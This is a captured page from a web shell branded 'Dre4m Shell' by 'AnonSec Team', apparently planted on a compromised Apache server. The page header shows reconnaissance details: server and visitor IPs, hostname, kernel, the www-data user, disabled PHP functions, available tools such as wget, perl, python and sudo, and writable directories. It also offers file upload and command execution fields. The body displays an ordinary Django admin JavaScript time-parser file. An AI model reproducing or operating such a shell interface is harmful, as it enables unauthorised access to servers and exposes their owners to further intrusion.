Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 52.15.179.165
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/django/contrib/admin/static/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/django/contrib/admin/static/admin/js/timeparse.js
(function() {
    'use strict';
    var timeParsePatterns = [
        // 9
        {
            re: /^\d{1,2}$/i,
            handler: function(bits) {
                if (bits[0].length === 1) {
                    return '0' + bits[0] + ':00';
                } else {
                    return bits[0] + ':00';
                }
            }
        },
        // 13:00
        {
            re: /^\d{2}[:.]\d{2}$/i,
            handler: function(bits) {
                return bits[0].replace('.', ':');
            }
        },
        // 9:00
        {
            re: /^\d[:.]\d{2}$/i,
            handler: function(bits) {
                return '0' + bits[0].replace('.', ':');
            }
        },
        // 3 am / 3 a.m. / 3am
        {
            re: /^(\d+)\s*([ap])(?:.?m.?)?$/i,
            handler: function(bits) {
                var hour = parseInt(bits[1]);
                if (hour === 12) {
                    hour = 0;
                }
                if (bits[2].toLowerCase() === 'p') {
                    if (hour === 12) {
                        hour = 0;
                    }
                    return (hour + 12) + ':00';
                } else {
                    if (hour < 10) {
                        return '0' + hour + ':00';
                    } else {
                        return hour + ':00';
                    }
                }
            }
        },
        // 3.30 am / 3:15 a.m. / 3.00am
        {
            re: /^(\d+)[.:](\d{2})\s*([ap]).?m.?$/i,
            handler: function(bits) {
                var hour = parseInt(bits[1]);
                var mins = parseInt(bits[2]);
                if (mins < 10) {
                    mins = '0' + mins;
                }
                if (hour === 12) {
                    hour = 0;
                }
                if (bits[3].toLowerCase() === 'p') {
                    if (hour === 12) {
                        hour = 0;
                    }
                    return (hour + 12) + ':' + mins;
                } else {
                    if (hour < 10) {
                        return '0' + hour + ':' + mins;
                    } else {
                        return hour + ':' + mins;
                    }
                }
            }
        },
        // noon
        {
            re: /^no/i,
            handler: function(bits) {
                return '12:00';
            }
        },
        // midnight
        {
            re: /^mid/i,
            handler: function(bits) {
                return '00:00';
            }
        }
    ];

    function parseTimeString(s) {
        for (var i = 0; i < timeParsePatterns.length; i++) {
            var re = timeParsePatterns[i].re;
            var handler = timeParsePatterns[i].handler;
            var bits = re.exec(s);
            if (bits) {
                return handler(bits);
            }
        }
        return s;
    }

    window.parseTimeString = parseTimeString;
})();

Anon7 - 2022
AnonSec Team